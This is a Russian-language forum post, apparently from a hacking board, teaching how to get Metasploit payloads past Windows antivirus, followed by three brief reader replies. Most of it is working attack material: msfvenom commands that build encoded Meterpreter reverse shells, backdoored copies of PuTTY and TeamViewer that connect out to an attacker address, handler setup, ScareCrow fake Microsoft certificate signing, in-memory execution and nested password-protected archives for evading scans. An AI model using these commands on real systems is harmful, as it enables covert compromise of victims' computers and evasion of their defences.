Основы Metasploit для хакеров: обход антивируса Windows (AV)

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, мои начинающие кибервоины!

В этой серии мы рассмотрим использование самого популярного в мире хакерского фреймворка — Metasploit. По мере роста популярности Metasploit ведущие разработчики антивирусов нашли способы обнаружения и удаления вредоносных программ, основанных на Metasploit, что значительно усложнило эксплуатацию этих систем с помощью Metasploit.

В этом уроке я хочу показать вам несколько способов обхода антивирусной защиты при использовании Metasploit, что позволит сделать ваш взлом/пентест более эффективным и успешным.

Как работает антивирус или EDR?

Прежде чем создавать загрузчик или пытаться обойти защиту, важно понимать, как антивирусное (AV) и EDR (Endpoint Detection and Response) программное обеспечение определяет, является ли программа вредоносной.

1. Обнаружение на основе сигнатур

Каждый файл можно обработать с помощью хеш-функции, например, SHA-256, для создания уникальной сигнатуры (также называемой отпечатком пальца). Антивирусное программное обеспечение хранит базу данных сигнатур известных вредоносных файлов.

При сканировании нового файла антивирус проверяет наличие его сигнатуры в этом списке. Если она совпадает, файл помечается или блокируется. Если нет, он может быть разрешён.

Этот метод быстрый, но не надёжный. Изменение даже одного байта в файле приведёт к совершенно иному хэшу. Это означает, что злоумышленники могут легко модифицировать вредоносное ПО, чтобы избежать обнаружения этим методом.

Кроме того, этот метод не помогает против новых угроз, сигнатуры которых еще не известны.

Пример: если у Mimikatz есть известный хэш SHA-256 и вы загружаете файл с этим же хешем, большинство антивирусных продуктов сразу же заблокируют его.



1-mimicatz-AV-1024x293.jpg



2. Статический анализ

Статический анализ подразумевает сканирование содержимого файла без его запуска. Антивирусные инструменты ищут подозрительные шаблоны, такие как определённые строки текста или кода, которые обычно используются во вредоносных программах.

Например, если файл содержит слово «mimikatz», некоторые антивирусные инструменты отметят его как подозрительный или опасный.



2-Scan-File-Mimicatz-1024x425.jpg



Существуют такие инструменты, как DefenderCheck, которые позволяют увидеть, какие строки в файле помечены Защитником Windows.

Правила YARA также используются в статическом анализе. Эти правила определяют закономерности, которые следует искать в файлах. Например, правило YARA может искать определённый комментарий в коде, например:

// *** Бенджамин ДЕЛЬПИ `gentilkiwi` ( benjamin@gentilkiwi.com )

Если этот шаблон найден, файл может быть помечен как версия Mimikatz. Если шаблон отсутствует, файл не помечается.

Таким образом, статический анализ эффективен при обнаружении известных угроз путем поиска знакомого кода или ключевых слов, даже если файл ранее не встречался.

3. Эвристический и поведенческий анализ

Этот метод фокусируется на том, что программа пытается сделать, а не на том, как она выглядит. Идея заключается в обнаружении подозрительного или вредоносного поведения.

Антивирусное ПО часто запускает программу в «песочнице». Песочница — это безопасная изолированная среда, в которой файл может быть запущен без ущерба для системы.

Во время работы файла антивирус отслеживает его действия. Если программа начинает выполнять действия, характерные для вредоносного ПО, например, обращаться к конфиденциальным файлам, создавать процессы или внедрять код в другие программы, она может быть помечена как опасная.

Такой подход полезен для обнаружения новых или модифицированных вредоносных программ, которые не поддаются обнаружению с помощью сигнатурного или статического анализа.

4. Обнаружение сети

Наконец, некоторые решения по безопасности могут отслеживать соединения, устанавливаемые устройством, и блокировать угрозы на основе определенных показателей.

Например, блокировка может быть принята, если программа инициирует соединение с IP-адресом, известным как связанный с вредоносными серверами. Это повышает безопасность, предотвращая взаимодействие вредоносного ПО с опасными серверами.

Методы уклонения

Большинство современных антивирусных программ, особенно хостовых, активно используют сигнатурное обнаружение . Это означает, что они сканируют файлы и процессы, используя базу данных известных «сигнатур» — уникальных шаблонов, идентифицирующих фрагменты вредоносного кода. Обнаружив совпадение, антивирус обычно немедленно реагирует на него, помещая файл в карантин и блокируя его запуск.

Как же избежать подобного обнаружения? Один из первых шагов — замаскироваться. Простого кодирования полезных данных в разных форматах или многократного их обфускации уже недостаточно. Антивирусные движки стали умнее, и многие из них распознают эти методы, особенно при использовании по отдельности.

Кроме того, простое открытие канала связи между злоумышленником и системой-жертвой может вызвать оповещения от систем обнаружения и предотвращения вторжений (IDS/IPS). Эти инструменты отслеживают сетевой трафик и могут отмечать или блокировать подозрительные соединения.

1. Зашифрованное общение с Meterpreter

С Metasploit Framework 6 (MSF6) злоумышленники получают более мощные возможности. С помощью msfconsole теперь можно создавать туннели с шифрованием AES, которые направляют трафик Meterpreter обратно в систему злоумышленника. Такое шифрование защищает соединение от обнаружения сетевыми системами обнаружения вторжений (IDS/IPS), поскольку содержимое трафика скрыто.

Тем не менее, в некоторых сетях используются строгие правила брандмауэра, которые могут блокировать исходящий трафик на основе IP-адресов источника или протоколов. В таких случаях злоумышленники часто ищут сервисы, которые уже разрешены через брандмауэр. Известный пример — взлом Equifax в 2017 году , когда злоумышленники воспользовались уязвимостью в Apache Struts, чтобы получить доступ к конфиденциальным серверам. Затем они применили DNS-эксфильтрацию — скрытый метод отправки данных через DNS-запросы — для незаметного перемещения украденных данных в течение нескольких месяцев.

2. Полезные нагрузки и обнаружение на основе файлов

Даже если зашифрованный трафик проходит, существует ещё одна серьёзная проблема: антивирусное обнаружение на уровне файлов . Прежде чем вредоносная нагрузка будет выполнена и загружена в память, она должна существовать в виде файла, пусть даже недолго. Этот файл можно отсканировать, получить цифровой отпечаток и заблокировать, если он соответствует чему-либо в базе данных антивирусных сигнатур.

Производители антивирусных программ также постоянно отслеживают такие инструменты, как Metasploit. Многие из стандартных полезных нагрузок, создаваемых такими инструментами, как msfvenom, уже известны и блокируются большинством антивирусных программ. Это означает, что использование этих полезных нагрузок в исходном виде часто приводит к мгновенному обнаружению.

3. Расширенные кодеры полезной нагрузки (x64)

При попытке обойти механизмы статического анализа и обнаружения использование кодировщика может добавить ценный уровень обфускации вашей полезной нагрузки. Ниже представлено несколько известных кодировщиков x64, доступных в msfvenom, каждый из которых использует уникальный метод, затрудняющий обратную разработку или обнаружение на основе сигнатур.

1. x64/xor_context

Этот кодер применяет контекстно-зависимое шифрование XOR, динамически изменяя ключ XOR во время выполнения. Такое поведение делает полезную нагрузку более устойчивой к традиционным инструментам статического анализа, основанным на сопоставлении с образцом или распознавании сигнатур.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ВАШ_IP LPORT=ВАШ_ПОРТ -e x64/xor_context -o payload.exe


2. x64/xor_dynamic

При использовании xor_dynamic ключ XOR не просто предопределен, а генерируется «на лету» во время выполнения. Такое динамическое поведение значительно затрудняет определение надежной сигнатуры статическими движками обнаружения, обеспечивая более надежную защиту, чем статические методы XOR.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ВАШ_IP LPORT=ВАШ_ПОРТ -e x64/xor_dynamic -o payload.exe


3. x64/zutto_dekiru

Кодер zutto_dekiru выводит обфускацию на новый уровень. Он использует передовые методы, включая шифрование и структурные преобразования полезной нагрузки. Это значительно увеличивает время обратной разработки и обеспечивает надёжную защиту как от статического, так и от динамического анализа.

Пример команды:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/zutto_dekiru -o payload.exe


4. Использование исполняемых шаблонов с msfvenom

К счастью, msfvenom предоставляет полезную функцию: шаблоны исполняемых файлов . Вместо того, чтобы создавать совершенно новый и подозрительно выглядящий файл, вы можете взять легитимный исполняемый файл — например, установщик или утилиту — и внедрить в него свою полезную нагрузку. Это создаёт так называемый исполняемый файл с бэкдором .

Шелл-код скрыт внутри реальной работающей программы, что затрудняет его обнаружение инструментами статического анализа. Комбинируя различные методы кодирования, форматы шелл-кода и реальные программы, вы увеличиваете шансы обойти антивирусные проверки.

Вот что дает вам этот подход:

  1. Внешний файл выглядит легитимным (как обычный установщик или приложение)
  2. Вредоносный код встроен, зашифрован или запутан
  3. Антивирусу сложнее обнаружить его во время базового сканирования.
Ниже приведен пример того, как msfvenom можно использовать для внедрения полезной нагрузки в легитимный исполняемый файл:

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.15.148 LPORT=8080 -k -x TeamViewerx32.exe -e x86/shikata_ga_nai -a x86 –platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 70

В этой команде:

-p указывает полезную нагрузку

-x — исполняемый файл шаблона, который вы хотите использовать

-f exe задает формат вывода

-o задает имя нового файла

-i — это количество итераций для дальнейшего уклонения от обнаружения

-e — это кодировщик, используемый для сокрытия полезной нагрузки

Результатом является исполняемый файл, который по-прежнему работает так, как и ожидалось, но также доставляет полезную нагрузку при запуске.

Как видите, Defender не может найти в нем вредоносное ПО.



3-Flagged-File-1024x245.jpg



4-Windows-Defender-Undected-1024x312.jpg



В большинстве случаев, когда цель запускает исполняемый файл с бэкдором, ничего не происходит, что в некоторых случаях может вызвать подозрения. Чтобы повысить наши шансы, нам нужно инициировать продолжение обычного выполнения запущенного приложения, одновременно извлекая полезную нагрузку в отдельном потоке от основного приложения. Мы делаем это с помощью флага -k , как показано выше. Однако даже при включенном флаге -k цель заметит запущенный бэкдор только в том случае, если запустит шаблон исполняемого файла с бэкдором из среды CLI. В этом случае появится отдельное окно с полезной нагрузкой, которое не закроется, пока мы не завершим взаимодействие с сеансом полезной нагрузки на цели.

В этом примере мы будем использовать PuTTY, распространённый SSH-клиент для Windows. Внедряя нашу полезную нагрузку в PuTTY, мы увеличиваем шансы обойти антивирусные программы, поскольку файл выглядит и ведёт себя как обычное приложение.

Шаг 1: Загрузите PuTTY

Сначала скачайте исполняемый файл PuTTY. В Linux это можно сделать с помощью следующей команды wget:

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Это позволит загрузить 32-битную версию PuTTY.

Шаг 2: Внедрение полезной нагрузки с помощью msfvenom

Далее мы используем msfvenom для внедрения обратной оболочки Meterpreter в исполняемый файл PuTTY:​

msfvenom -a x86 –platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=10.10.15.148 lport=443 -e x86/shikata_ga_nai -i 43 -b "\x00" -f exe -o puttyX.exe

Давайте разберем, что делает эта команда:

-a x86 устанавливает архитектуру на 32-бит (для соответствия оригинальному двоичному файлу PuTTY)

–платформа windows указывает целевую операционную систему

-k обеспечивает сохранение исходной функциональности PuTTY после внедрения полезной нагрузки

-b «\x00» позволяет избежать нулевых байтов в полезной нагрузке (которые могут прервать выполнение)

Результатом является модифицированный исполняемый файл PuTTY ( puttyX.exe ), который по-прежнему работает нормально, но при запуске открывает бэкдор.

Шаг 3: Настройка прослушивателя в Metasploit

Поскольку это обратный шелл , полезная нагрузка попытается подключиться обратно к атакующей машине. Нам нужно настроить прослушиватель с помощью обработчика эксплойтов Metasploit .

Откройте Metasploit и выполните следующие команды:

использовать эксплойт/мульти/обработчик

установить полезную нагрузку windows/meterpreter/reverse_tcp

установить LHOST 10.10.15.148

установить LPORT 443

эксплуатировать


После запуска обработчика он будет ожидать подключения. Как только целевой объект запустит puttyX.exe , откроется сеанс Meterpreter, предоставляя вам контроль над системой.



puttyX-Meterpreter.jpg



meterpreter-reverse-tcp-1024x221.jpg



Инструменты уклонения

Хотя пользовательское кодирование полезной нагрузки — один из способов обхода механизмов безопасности, существуют также общедоступные инструменты, которые пытаются взять на себя всю сложную работу. Ниже приведено несколько примеров, которые стоит изучить в демонстрационных и учебных целях.

1. Пугало

ScareCrow когда-то был надёжным инструментом для доставки полезной нагрузки и уклонения от атак, но он переживал и лучшие времена. В настоящее время сложно эффективно использовать все его функции. Судя по проблемам на GitHub, большая часть нестабильности, по-видимому, связана с устаревшими реализациями SSL. Проект не обновлялся годами, что ограничивает его перспективность для серьёзного использования. Тем не менее, он всё ещё полезен для демонстрационных целей или базовых сценариев уклонения от атак.

Для начала вам потребуется установить язык программирования Go и вручную скомпилировать ScareCrow.

Основной поток использования:

Сначала сгенерируйте полезную нагрузку с помощью msfvenom .



Playload-msfvenom-1024x141.jpg



Затем подпишите полученный исполняемый файл поддельным сертификатом Microsoft с помощью ScareCrow.



ScareCrow-Microsoft-certificate-1024x569.jpg



Запустите его на целевой системе, и если все работает правильно, вы увидите обратное соединение с вашим прослушивателем.



Run-ScareCrow-on-target-system-1024x408.jpg



Несмотря на свои сегодняшние ограничения, ScareCrow по-прежнему может помочь вам понять, как работают подмена подписей и злоупотребление сертификатами при обходе системы безопасности.

2. PyInMemoryPE

PyInMemoryPE — это инструмент на основе Python, который запускает PE-файлы непосредственно в памяти, избегая операций записи на диск и потенциально оставаясь незамеченным некоторыми антивирусами. Он скомпилирован для работы в Windows и по-прежнему эффективен против некоторых антивирусов, однако имейте в виду: как только инструмент становится общедоступным, его анализируют, создают сигнатуры, и уровень обнаружения быстро растёт.

Рабочий процесс:

Сначала сгенерируйте полезную нагрузку



Generate-Payload-1024x165.jpg



Загрузите PyInMemoryPE для Windows.



Download-PyInMemoryPE-for-Windows-1024x399.jpg



Настройте простой http.server python3 -m для обслуживания исполняемого файла.



python3-m-http.server-1-1024x357.jpg



Из целевой системы Windows получите доступ к полезной нагрузке через cmd, чтобы выполнить ее в памяти.



payload-execute-memory-1024x95.jpg

И верните связь.



Meterpreter-Open-Session-1024x229.jpg



Скрытие полезных данных с помощью архивов и упаковщиков

Когда речь идёт об обходе обнаружения антивирусами, одним из самых простых и эффективных приёмов является сжатие с шифрованием. Архивирование полезных данных в защищённые паролем файлы .zip или .rar может обойти многие антивирусные решения. Хотя большинство современных сканеров помечают такие файлы как «не подлежащие сканированию», а не как явно вредоносные, они не выдают оповещений высокого уровня. Администратор должен провести ручное расследование, и многие не станут этим заниматься, пока что-то не заденет его.

Шаг 1: Создание полезной нагрузки

Начнем со стандартной полезной нагрузки обратного шелла Meterpreter msfvenom, закодированной пять раз с помощью shikata_ga_nai для повышения запутывания.

msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.15.148 LPORT=8080 -k -e x86/shikata_ga_nai -a x86 –platform windows -o ~/test.js -i 5



msfvenom-Meterpreter-reverse-shell-payload-1024x273.jpg



После генерации вы получите классический шелл-код. Далее вам нужно будет его дополнительно обфусцировать.

Шаг 3: Двойная обфускация архива

Теперь мы дважды заархивируем полезную нагрузку , добавляя пароль и удаляя расширения файлов на каждом этапе, чтобы запутать как антивирусную, так и случайную проверку.

Установить утилиту RAR

wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz

tar -xzvf rarlinux-x64-612.tar.gz && cd rar

Первый архив (защищен паролем)

rar a test.rar -p test.js

Вам будет предложено ввести пароль (используйте надёжный; для тестирования подойдёт даже что-то вроде «infected123»). Затем переименуйте архив, чтобы удалить расширение:

mv test.rar тест

Второй архив (вложенный)

rar a test2.rar -p test

mv test2.rar test2


Теперь у нас есть test2 — дважды заархивированная, защищённая паролем полезная нагрузка без видимого расширения файла. Антивирусы обычно не справляются с этим, если только не распаковывают оба уровня и не угадывают тип файла.

Шаг 4: Сканирование зашифрованного архива



Scan-the-Obfuscated-Archive-1024x198.jpg



Ни одного обнаружения!

Этот метод — эффективный способ перемещения данных в целевые системы и из них (например, по каналам управления или каналам эвакуации), но он также палка о двух концах. Многие «синие» команды отслеживают зашифрованные или несканируемые архивы, особенно если расширения удалены. Используйте его с осторожностью.

Заметка о паковщиках

Упаковщики выполняют аналогичную функцию, но работают на уровне двоичных файлов. Они оборачивают исполняемый файл в заглушку для распаковки, которая извлекает и выполняет исходную полезную нагрузку в памяти. Это не только сжимает двоичный файл, но и значительно затрудняет статический анализ.

Популярные упаковщики включают в себя:

  • UPX
  • МПРЕСС
  • Защитник Энигмы
  • Фемида
  • ExeStealth
  • Морфий
Вы можете использовать эти инструменты для добавления дополнительного уровня обфускации к вашим .exe-файлам до или после кодирования с помощью msfvenom.

Чтобы подробнее узнать о том, как антивирусы обрабатывают упакованные исполняемые файлы, ознакомьтесь с проектом PolyPack . В нём рассматривается, как различные методы упаковки влияют на обнаружение вирусов в различных антивирусных системах.

Заключительные мысли

Обход антивирусных программ Windows — обширная, постоянно развивающаяся и высокореактивная область. То, что работает сегодня, завтра может оказаться неэффективным. Microsoft и ведущие поставщики антивирусных программ активно отслеживают новые методы, регулярно обновляют их и выпускают исправления.

Если вы серьёзно настроены улучшить свои навыки обхода защиты, подумайте о переходе на C#. Многие современные инструменты Red Team и пользовательские загрузчики написаны на нём, что обеспечивает больший контроль над поведением ваших полезных нагрузок и их способностью к обходу. Изучение разработки на C# может открыть путь к более продвинутым тактикам, от ручного внедрения PE до отсоединения API и многого другого.

Уклонение — это не игра по принципу «один размер для всех», это игра в кошки-мышки, где ключевыми факторами являются креативность и умение приспосабливаться.
 
Полезная инфрмация, спасибо что поделились
 
антивирусы у меня всегда были с вирусами
 
больше информации бы и славно
 
Назад
Сверху Снизу